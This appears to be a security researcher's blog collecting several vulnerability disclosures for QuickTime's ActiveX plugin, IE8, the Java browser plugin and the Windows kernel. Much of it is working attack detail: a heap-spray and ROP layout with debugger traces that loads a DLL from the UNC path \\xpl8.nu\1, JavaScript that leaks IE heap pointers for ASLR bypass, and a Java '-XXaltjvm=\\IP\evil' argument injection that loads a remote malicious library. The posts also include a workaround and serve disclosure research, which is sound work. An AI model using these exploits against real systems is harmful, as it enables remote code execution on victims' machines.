Hi there,
Today we're going to talk about an interesting "backdoor" I uncovered during a static reversing session against QTPlugin.ocx. WATCH OUT! Do not hype this issue beyond it deserves. This time Backdoor != malicious code but a horrible trick a developer implemented during the development cycle.These hacks could end up having a harmful impact.
The scenario would be as follows:
Victim prerequisites:
* Internet Explorer.
* XP,Vista,W7.
* Apple Quicktime 7.x, 6.x ( 2004 versions are also vulnerable, older versions not checked )
1. Victim is enticed into visiting, by any mean, a specially crafted webpage.
2. Attacker's payload to be executed under the context of the browser.
3. Attacker calls his girlfriend to inform about the successful exploitation, who indeed turns out to be very interested in the issue. She demands more technical details.
4. Attacker wakes up.
Technical details
QTPlugin.ocx implements IPersistPropertyBag2::Read (1000E330) to handle params received from where it is embedded, including HTML documents.
Let's take a look
.text:1000E330
.text:1000E330 ; =============== S U B R O U T I N E =======================================
.text:1000E330
.text:1000E330
.text:1000E330 sub_1000E330 proc near ; DATA XREF: .rdata:1002E0ECo
.text:1000E330 ; .rdata:1002E86Co
.text:1000E330
.text:1000E330 arg_0 = dword ptr 4
.text:1000E330 arg_4 = dword ptr 8
.text:1000E330 arg_8 = dword ptr 0Ch
.text:1000E330
.text:1000E330 push esi
.text:1000E331 mov esi, [esp+ 4 + arg_0 ]
.text:1000E335 mov ecx, [esi+ 84h ]
.text:1000E33B xor eax, eax
.text:1000E33D test ecx, ecx
.text:1000E33F jz short loc_1000E393
.text:1000E341 mov eax, [esp+ 4 + arg_8 ]
.text:1000E345 mov edx, [esp+ 4 + arg_4 ]
.text:1000E349 push eax
.text:1000E34A push edx
.text:1000E34B call sub_100031F0
Following the flow...
sub_10002980+27A
sub_10002980+27A loc_10002BFA: ; CODE XREF: sub_10002980+266j
sub_10002980+27A ; sub_10002980+272j
sub_10002980+27A push offset aType ; "type"
sub_10002980+27F push ebx ; lpString1
sub_10002980+280 call ebp ; lstrcmpiA
sub_10002980+282 test eax, eax
sub_10002980+284 jnz short loc_10002C22
sub_10002980+286 push edi ; lpString
sub_10002980+287 call ds: lstrlenA
sub_10002980+28D cmp eax, 104h
sub_10002980+292 jnb short loc_10002C22
sub_10002980+294 push edi ; lpString2
sub_10002980+295 lea edx, [esi+ 83Ch ]
sub_10002980+29B push edx ; lpString1
sub_10002980+29C call ds: lstrcpyA
sub_10002980+2A2
sub_10002980+2A2 loc_10002C22: ; CODE XREF: sub_10002980+284j
sub_10002980+2A2 ; sub_10002980+292j
sub_10002980+2A2 push offset a_marshaled_pun ; "_Marshaled_pUnk"
sub_10002980+2A7 push ebx ; lpString1
sub_10002980+2A8 call ebp ; lstrcmpiA
sub_10002980+2AA test eax, eax
sub_10002980+2AC jnz short loc_10002C4A
sub_10002980+2AE push edi
sub_10002980+2AF call sub_10001310 ; SIMPLE ASCII NUMBERS TO LONG routine
sub_10002980+2B4 add esp, 4
sub_10002980+2B7 lea ecx, [esi+ 13B8h ]
sub_10002980+2BD push ecx ; ppv
sub_10002980+2BE push offset iid ; iid
sub_10002980+2C3 push eax ; pStm
sub_10002980+2C4 call ds: CoGetInterfaceAndReleaseStream ; WE HAVE A WINNER!!
sub_10002980+2CA
sub_10002980+2CA loc_10002C4A: ; CODE XREF: sub_10002980+2ACj
sub_10002980+2CA push edi ; int
Oops! programming rules state that hidden properties should be preceded by "_" so this property matches the requirement. It's time to google "_Marshaled_pUnk" which brings us 0 results. Apple scripting guide for Quicktime does not even mention it. Weird.
What's is going on here?
QTPlugin.OCX checks for the existence of "_Marshaled_pUnk" within object's attributes, if so, unmarshals it by converting the address from its ascii representation into a numerical one ( sub_10001310 ). Then, it uses the resulting pointer as pStm ,"A pointer to the IStream interface on the stream to be unmarshaled", CoGetInterfaceAndReleaseStream in order to obtain the IUnknown pointer (pUnk from now on) of the marshalled interface. This method is pretty common for sharing interface pointers between threads within COM enabled scenarios ( e.g browsers + plugins ).
So we are controlling an IStream pointer, which is good :)
However at this point the things didn't make sense for me. Despite of the fact that a CPluginHost object's variable holds this pointer (pPlugin+0x13b8), pUnk is never used,. According to the COM model, this pointer shouldn't be used by any other thread. Why in the hell an apple engineer implemented this? A conspiration between NSA, FSB and the bloody Andorra 's secret service may be possible but I think there must be another explanation.
Back to the future
So I am downloading an older version of QTPlugin.ocx, which dates from 2004 (6.5.1.17), to try to explain an issue in 2010, cool.
Module: QTPlugin.ocx
.text:6670BE86 mov eax, [ebp+ 1480h ; pPlugin-> pUnk ]
.text:6670BE8C cmp eax, edi
.text:6670BE8E jz short loc_6670BEF7
.text:6670BE90 lea edx, [esp+ 7Ch + pHandles ]
.text:6670BE97 mov [esp+ 7Ch + pHandles ], edi
.text:6670BE9E mov ecx, [eax]
.text:6670BEA0 push edx
.text:6670BEA1 push offset dword_667214C8 ; IID_IViewObject
.text:6670BEA6 push eax
.text:6670BEA7 call dword ptr [ecx] ; pUnk-> QueryInterface(IID_IViewObject,pView)
.text:6670BEA9 test eax, eax
.text:6670BEAB jl short loc_6670BEF7
.text:6670BEAD mov edx, [esp+ 7Ch + arg_10 ]
.text:6670BEB4 push edi
.text:6670BEB5 push edi
.text:6670BEB6 mov eax, [esp+ 84h + pHandles ]
.text:6670BEBD push edx
.text:6670BEBE mov edx, [esp+ 88h + arg_C ]
.text:6670BEC5 mov ecx, [eax]
.text:6670BEC7 push edx
.text:6670BEC8 mov edx, [esp+ 8Ch + hdc ]
.text:6670BECF push edx
.text:6670BED0 mov edx, [esp+ 90h + arg_4 ]
.text:6670BED7 push esi
.text:6670BED8 push edi
.text:6670BED9 push edi
.text:6670BEDA push 0FFFFFFFFh
.text:6670BEDC push edx
.text:6670BEDD push eax
.text:6670BEDE call dword ptr [ecx+ 0Ch ] ; pView-> Draw(...)
Reversing this function we can see that, in certain cases, QTPlugin.ocx could be instructed to draw contents onto an existing window instead of creating a new one. Mistery solved.
However, although this functionality was removed in newer versions, the param is still present. Why? I guess someone forgot to clean up the code .
Exploiting it
We are controlling the IStream Pointer passed to CoGetInterfaceAndReleaseStream, at a certain point during the execution flow of this function, an IStream method is going to be referenced.
ole32!wCoGetInterfaceAndReleaseStream -> ole32!CoUnmarshalInterface -> ole32!ReadObjRef -> ole32!StRead < = p0wn!!
So all we need to do is emulate a fake IStream interface in memory. How? aligned heap spray FTW!
This is how our sprayed block would look in memory
Heap Value
15220c20 15220c18 // Fake VTable pointer
15220c24 29527ae7 // gadget1 WindowsLiveLogin
15220c28 27582d63 // gadget2 msidcrl40.dll
15220c2c 15220d08 // pParam for LoadLibrary (DLL UNC PATH )
15220c30 15220cbc // -add ecx, 0A0h, mov eax, [ecx]...- gadget2
15220c34 15220cbc
15220c38 15220cbc
15220c3c 15220cbc
15220c40 15220cbc
15220c44 15220cbc
15220c48 15220cbc
15220c4c 15220cbc
15220c50 15220cbc
15220c54 15220cbc
15220c58 15220cbc
15220c5c 15220cbc
15220c60 15220cbc
15220c64 15220cbc
15220c68 15220cbc
[...]
15220c98 15220cbc
15220c9c 15220cbc
15220ca0 15220cbc
15220ca4 15220cbc
15220ca8 15220cbc
15220cac 15220cbc
15220cb0 15220cbc
15220cb4 15220cbc
15220cb8 15220cbc
15220cbc 15220cbc
15220cc0 15220cbc
15220cc4 15220cbc
15220cc8 295481e8
15220ccc 295481e8 // LoadLibraryA
15220cd0 295481e8
15220cd4 295481e8
15220cd8 295481e8
15220cdc 295481e8
15220ce0 295481e8
15220ce4 295481e8
15220ce8 295481e8
15220cec 295481e8
15220cf0 295481e8
15220cf4 295481e8
15220cf8 295481e8
15220cfc 295481e8
15220d00 295481e8
15220d04 295481e8
15220d08 70785c5c // DLL UNC PATH "\\xpl8.nu\1"
15220d0c 6e2e386c
15220d10 00315c75
Data is sprayed in such a manner we know that, despite of ASLR, at 0xXXXXX020, 0xXXXXX420,0xXXXXX820,0xXXXXXc20 our block can be located.
As you can see a couple of gadgets are used, since this is a ROP exploit, however esp is not controlled at all. I'm taking advantage of common code generated by c++ compilers to control parameters and execution.
The gadgets come from Windows Live messenger dlls that are loaded by default on IE and have no ASLR flag.
0x29527AE7 WindowsLiveLogin.dll gadget1
mov edx, [esi+0Ch]
mov eax, [esi+8]
push edi
push offset dword_29501B68
push edx
call eax
0x27582D63 msidcrl40.dll gadget2
add ecx, 0A0h
mov eax, [ecx]
mov eax, [eax+10h]
pop ebp
jmp eax
stepping into the payload
ole32!StRead+0x15:
75c9af58 ff510c call dword ptr [ecx+0Ch] ds:0023:15220c24=29527ae7
0:004> t
eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=02c13968 esi=15220c20 edi=02c139d0
eip=29527ae7 esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x937:
29527ae7 8b560c mov edx,dword ptr [esi+0Ch] ds:0023:15220c2c=15220d08
0:004> t
eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=29527aea esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93a:
29527aea 8b4608 mov eax,dword ptr [esi+8] ds:0023:15220c28=27582d63
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=29527aed esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93d:
29527aed 57 push edi
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=29527aee esp=02c13948 ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93e:
29527aee 68681b5029 push offset WindowsLiveLogin+0x1b68 (29501b68)
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=29527af3 esp=02c13944 ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x943:
29527af3 52 push edx
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=29527af4 esp=02c13940 ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x944:
29527af4 ffd0 call eax {msidcrl40!EnumerateDeviceID+0xa113 (27582d63)}
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=27582d63 esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
msidcrl40!EnumerateDeviceID+0xa113:
27582d63 81c1a0000000 add ecx,0A0h
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
eip=27582d69 esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
msidcrl40!EnumerateDeviceID+0xa119:
27582d69 8b01 mov eax,dword ptr [ecx] ds:0023:15220cb8=15220cbc
0:004> t
eax=15220cbc ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
eip=27582d6b esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
msidcrl40!EnumerateDeviceID+0xa11b:
27582d6b 8b4010 mov eax,dword ptr [eax+10h] ds:0023:15220ccc=295481e8
0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
eip=27582d6e esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
msidcrl40!EnumerateDeviceID+0xa11e:
27582d6e 5d pop ebp
0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
eip=27582d6f esp=02c13940 ebp=29527af6 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
msidcrl40!EnumerateDeviceID+0xa11f:
27582d6f ffe0 jmp eax {WindowsLiveLogin!DllUnregisterServer+0x1f588 (295481e8)}
0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
eip=295481e8 esp=02c13940 ebp=29527af6 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
WindowsLiveLogin!DllUnregisterServer+0x1f588:
295481e8 ff15f8105029 call dword ptr [WindowsLiveLogin+0x10f8 (295010f8)] ds:0023:295010f8={IEShims!NS_RedirectFiles::APIHook_LoadLibraryA (63e8fbe1)}
0:004> db poi(esp)
15220d08 5c 5c 78 70 6c 38 2e 6e-75 5c 31 00 00 00 00 00 \\xpl8.nu\1..... p0wn!!
Unfortunately, due to the DLL Hijacking fiasco workaround, a LoadLibrary+UNC payload seems not very dangerous...isn't it? ;)
The exploit defeats ASLR+DEP and has been successfully tested on W7, Vista and XP.
A metasploit module should be available soon since I sent the exploit details to Joshua Drake some days before releasing this advisory.
Metasploit module is already available: https://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb
PoC:
addr = 354552864; // 0x15220C20 [pUnk]
var obj= ' '
+' '
+' ';
Happy hunting!
Hi there!
Long time ago since the last post. This time, I'm releasing another 0day, not so critical but interesting indeed.
Sometimes, exploit writers would kill for a fixed address to pivote from. Nowadays, the days of ASLR and DEP, any memory leak is welcome.
Yesterday, Stefano Di Paola posted the following tweet http://twitter.com/WisecWisec/status/17254776077 . After elaborating that weird behaviour I discovered a flaw in mshtml.dll, exploitable via Internet Explorer.
In VBScript/JScript there are at least two functions that make use of timers: setTimeout and setInterval. According to the documentation, the return value should be a Timer ID.In Chrome and FF this ID is pure sequential (1,2,3,4...) but in IE I was getting "weird" IDs. Later on I discovered that those IDs turned out to be a heap address plus a counter.
If your browser is Internet Explorer you can inmediately test this flaw by pressing this button.
var i = 1; // counter
function LeakOrDie() {
var t;
t=setInterval("foo()",2000);
t-=i;
document.getElementById('atun').innerHTML = ' Pointer leaked: '+'0x'+t.toString(16);
i++;
}
function foo()
{
return;
}
We are leaking a pointer from a segment of the IE8's default process heap. But, what is that pointer?
Why does it increment everytime I press the button? Let's see the technical analysis:
Inside CWindow's constructor (mshtml's standard) a variable "IDEvent", is initialized to 1
Module: mshtml.dll Vista SP2
.text:7403EC0A mov dword ptr [ecx+30h], 1 ; TimerID_Counter = 1
Everytime a Timeout event (either created by setInterval or setTimeout ) is created, it's inserted into a list via this function.
Module: mshtml.dll Vista SP2
text:741170E5 ; public: long __thiscall CTimeoutEventList::InsertIntoTimeoutList(struct TIMEOUTEVENTINFO *, unsigned int *, int)
.text:741170E5 ?InsertIntoTimeoutList@CTimeoutEventList@@QAEJPAUTIMEOUTEVENTINFO@@PAIH@Z proc near
.text:741170E5 ; CODE XREF: CWindow::AddTimeoutCode(tagVARIANT *,ushort *,long,long,uint *)+73p
.text:741170E5 ; CWindow::FireTimeOut(uint)+14DFB8p
Take a look at this code, this is the key:
Module: mshtml.dll Vista SP2
text:741170E5 ; public: long __thiscall CTimeoutEventList::InsertIntoTimeoutList
[...]
.text:74117100 mov eax, [esi+30h] ; p-> IDEvent
.text:74117103 mov ecx, [ebp+arg_0] ; TimerEvent *t;
.text:74117106 add eax, esi ; s = p + p-> IDEvent; // Oops!
.text:74117108 mov [ecx+0Ch], eax ; t-> ID = s
.text:7411710B inc dword ptr [esi+30h] p-> IDEvent++
What's going on here?
Well,my theory is that in an effort to not return a plain sequential/predictable ID, Microsoft decided to add a "magic" value. Unfortunately, this "magic" value is a pointer member of the CWindow object which ultimately represents an open browser's window. Thus we can define it as persistent in memory even after reloading, till the Browser's instance is closed.
Taking into accout that IDEvent is predictable and we know the pointer offset, we can trivially infer the pointer to the persistent CWindow object(leakedPointer - ID_Counter - 0x3c). This fact brings us useful addresses for ROP/Anti-ASLR exploits. :)
06930dd8 6b0253f8 mshtml!CWindow::`vftable'
06930ddc 00000004
06930de0 00000008
06930de4 070f5720
06930de8 00000000
06930dec 6b028ad8 mshtml!CWindow::`vftable'
06930df0 6b04de30 mshtml!CWindow::`vftable'
06930df4 6aff257c mshtml!CWindow::`vftable'
06930df8 6aff2220 mshtml!CWindow::`vftable'
06930dfc 6aff25a0 mshtml!CWindow::`vftable'
06930e00 068ee3b0
06930e04 00000000
06930e08 068f4aa8
06930e0c 06926be0
06930e10 00000000
06930e14 6b01f5a4 mshtml!CDataAry ::`vftable'
06930e18 00000000
06930e1c 00000000
06930e20 00000000
06930e24 6b01f5a4 mshtml!CDataAry ::`vftable'
06930e28 00000000
06930e2c 00000000
06930e30 00000000
06930e34 6b01f5a4 mshtml!CDataAry ::`vftable'
06930e38 00000000
06930e3c 00000000
06930e40 00000000
06930e44 00000001
06930e48 00000000
06930e4c 00000000
06930e50 00000000
06930e54 00000000
Products affected: XP/Vista/Windows7 32/64 bit. IE8. IE9 is not vulnerable.
Download PoC code
Elaborate it as you desire and share it! Happy hunting!
Updated Just in case: Tavis' attack also allows remote code execution since the jar is executing without any restriction.
Updated Although Linux contains vulnerable code, I was unable to exploit it in the same manner. It likely can be exploited by using the proper sequence of command-line arguments, but the sudden release didn't allow me to research into this issue.I was focused on Windows at the moment of the disclosure.
Bye bye my little 0day :(, Tavis Ormandy did a great job uncovering a big logic flaw within Java JRE. I discovered that bug and other that affects every browser few weeks ago so I posted the common "0day++" tweet .
The method by which Java Web Start support has been added to the JRE is not less than a deliberately embedded backdoor(I really don't think so) or a flagrant case of extreme negligence (+1).
It's even more incredible that Sun didn't assess the real risk of this flaw after Tavis reported it to them. Acknowledged it, but didn't considered suitable for a OOB patch.
Let's see:
Java Plugin for Browsers (Chrome,Firefox...) - Windows: npjp2.dll (The same for IE8's jp2iexp.dll)
.text:6DAA3D96
.text:6DAA3D96 ; =============== S U B R O U T I N E =======================================
.text:6DAA3D96
.text:6DAA3D96 ; Attributes: bp-based frame
.text:6DAA3D96
.text:6DAA3D96 sub_6DAA3D96 proc near ; CODE XREF: sub_6DAA2ACB+170p
.text:6DAA3D96
.text:6DAA3D96 Data = byte ptr -264h
.text:6DAA3D96 var_263 = byte ptr -263h
.text:6DAA3D96 ApplicationName = byte ptr -160h
.text:6DAA3D96 StartupInfo = _STARTUPINFOA ptr -5Ch
.text:6DAA3D96 ProcessInformation = _PROCESS_INFORMATION ptr -18h
.text:6DAA3D96 cbData = dword ptr -8
.text:6DAA3D96 hKey = dword ptr -4
.text:6DAA3D96 arg_0 = dword ptr 8
.text:6DAA3D96 arg_4 = dword ptr 0Ch
.text:6DAA3D96
.text:6DAA3D96 push ebp
.text:6DAA3D97 mov ebp , esp
.text:6DAA3D99 sub esp , 264h
.text:6DAA3D9F push edi
.text:6DAA3DA0 lea eax , [ebp+ hKey ]
.text:6DAA3DA3 push eax ; phkResult
.text:6DAA3DA4 push 20019h ; samDesired
.text:6DAA3DA9 xor edi , edi
.text:6DAA3DAB push edi ; ulOptions
.text:6DAA3DAC push offset SubKey ; "JNLPFile\\Shell\\Open\\Command"
.text:6DAA3DB1 push 80000000h ; hKey
.text:6DAA3DB6 mov [ebp+ cbData ] , 104h
.text:6DAA3DBD call ds: RegOpenKeyExA
.text:6DAA3DC3 test eax , eax
.text:6DAA3DC5 jz short loc_6DAA3DCE
.text:6DAA3DC7 xor eax , eax
.text:6DAA3DC9 jmp loc_6DAA3F16
The default handler is "javaws.exe",continuing...
.text:6DAA3EB7 push [ebp+ arg_4 ]
.text:6DAA3EBA push eax
.text:6DAA3EBB push offset aSDocbaseSS ; "\"%s\" -docbase %s %s"
.text:6DAA3EC0 push esi ; LPSTR
.text:6DAA3EC1 call ebx ; wsprintfA
.text:6DAA3EC3 add esp , 14h
.text:6DAA3EC6 jmp short loc_6DAA3ED4
.text:6DAA3EC8 ; ---------------------------------------------------------------------------
.text:6DAA3EC8
.text:6DAA3EC8 loc_6DAA3EC8: ; CODE XREF: sub_6DAA3D96+11Fj
.text:6DAA3EC8 push eax
.text:6DAA3EC9 push offset aSS_0 ; "\"%s\" %s"
.text:6DAA3ECE push esi ; LPSTR
.text:6DAA3ECF call ebx ; wsprintfA
.text:6DAA3ED1 add esp , 10h
.text:6DAA3ED4
.text:6DAA3ED4 loc_6DAA3ED4: ; CODE XREF: sub_6DAA3D96+130j
.text:6DAA3ED4 push 11h
.text:6DAA3ED6 pop ecx
.text:6DAA3ED7 xor eax , eax
.text:6DAA3ED9 lea edi , [ebp+ StartupInfo ]
.text:6DAA3EDC rep stosd
.text:6DAA3EDE lea eax , [ebp+ ProcessInformation ]
.text:6DAA3EE1 push eax ; lpProcessInformation
.text:6DAA3EE2 xor ebx , ebx
.text:6DAA3EE4 lea eax , [ebp+ StartupInfo ]
.text:6DAA3EE7 push eax ; lpStartupInfo
.text:6DAA3EE8 push ebx ; lpCurrentDirectory
.text:6DAA3EE9 push ebx ; lpEnvironment
.text:6DAA3EEA push ebx ; dwCreationFlags
.text:6DAA3EEB push ebx ; bInheritHandles
.text:6DAA3EEC push ebx ; lpThreadAttributes
.text:6DAA3EED push ebx ; lpProcessAttributes
.text:6DAA3EEE push esi ; lpCommandLine
.text:6DAA3EEF lea eax , [ebp+ ApplicationName ]
.text:6DAA3EF5 push eax ; lpApplicationName
.text:6DAA3EF6 mov [ebp+ StartupInfo.cb ] , 44h
.text:6DAA3EFD call ds: CreateProcessA
So basically the Java-Plugin Browser is running "javaws.exe" without validating command-line parameters. These parameters can be controlled by attackers via specially crafted embed html tags within a webpage.
Let's see JavaDeploy.txt :
if (browser == 'MSIE') {
document.write(' ' +
' ' +
' ' +
' ');
} else if (browser == 'Netscape Family') {
document.write(' ');
}
That's it. This is how JAVA Plugin identifies Java Web Start content (jnlp files).So
We can inject command-line parameters through "docbase" tag and even "launchjnlp".
What type of arguments can we abuse to compromise a system?
java.exe and javaw.exe support an undocumented-hidden command-line parameter "-XXaltjvm" and curiosly also "-J-XXaltjvm" (see -J switch in javaws.exe). This instructs Java to load an alternative JavaVM library (jvm.dll or libjvm.so) from the desired path. Game over. We can set -XXaltjvm=\\IP\evil , in this way javaw.exe will load our evil jvm.dll. Bye bye ASLR, DEP...
Linux
Same logic error, check this function "_Z10launchJNLPPKcS0" in libnpjp2.so
.text:0000A956 call _fork
.text:0000A95B test eax, eax
.text:0000A95D jnz loc_A813
.text:0000A963 mov [esp+3048h+var_3048], esi
.text:0000A966 lea eax, [ebp+var_3038]
.text:0000A96C mov [esp+3048h+var_3044], eax
.text:0000A970 call _execv
MACOSX
Not vulnerable.
Workaround
Disable javaws/javaws.exe in linux and Windows by any mean. Disable Deployment Toolkit to avoid unwanted installation as stated in Tavis' advisory .
Hi there
You should read these articles before continuing: Derek Soeder's LDT expand-down vulnerability
My "VMware #GP Kernel DoS" advisory
z0mbie's article on LDT entries
Just sharing a curious thing I've found in a diffing session. Within the kernel PspIsDescriptorValid has changed in Vista and later.The code charged with checking for base+limit against kernel addresses is no longer present.
XP kernel
PAGE:00556115 loc_556115: ; CODE XREF: PspIsDescriptorValid(x)+76j
PAGE:00556115 add eax, edi
PAGE:00556117 cmp edi, eax
PAGE:00556119 ja short loc_55612B
PAGE:0055611B cmp eax, _MmHighestUserAddress
PAGE:00556121 ja short loc_55612B
This means that we can create LDT descriptors (via NtSetLdtEntries) with arbitrary base and limit. This is not a big deal since the kernel seems to be correctly changing user-mode selectors in every Ring3-Ring0 transition, SYSENTER, Page Faults...
But, what about others? i.e security software that might be implementing insecure SYSENTER hooking without sanitizing segment selectors obtained from user-mode.
Can you spot an exploitation vector? share it if so!
Thanks and kudos for Derek Soeder. From time to time, we can enjoy his advisories...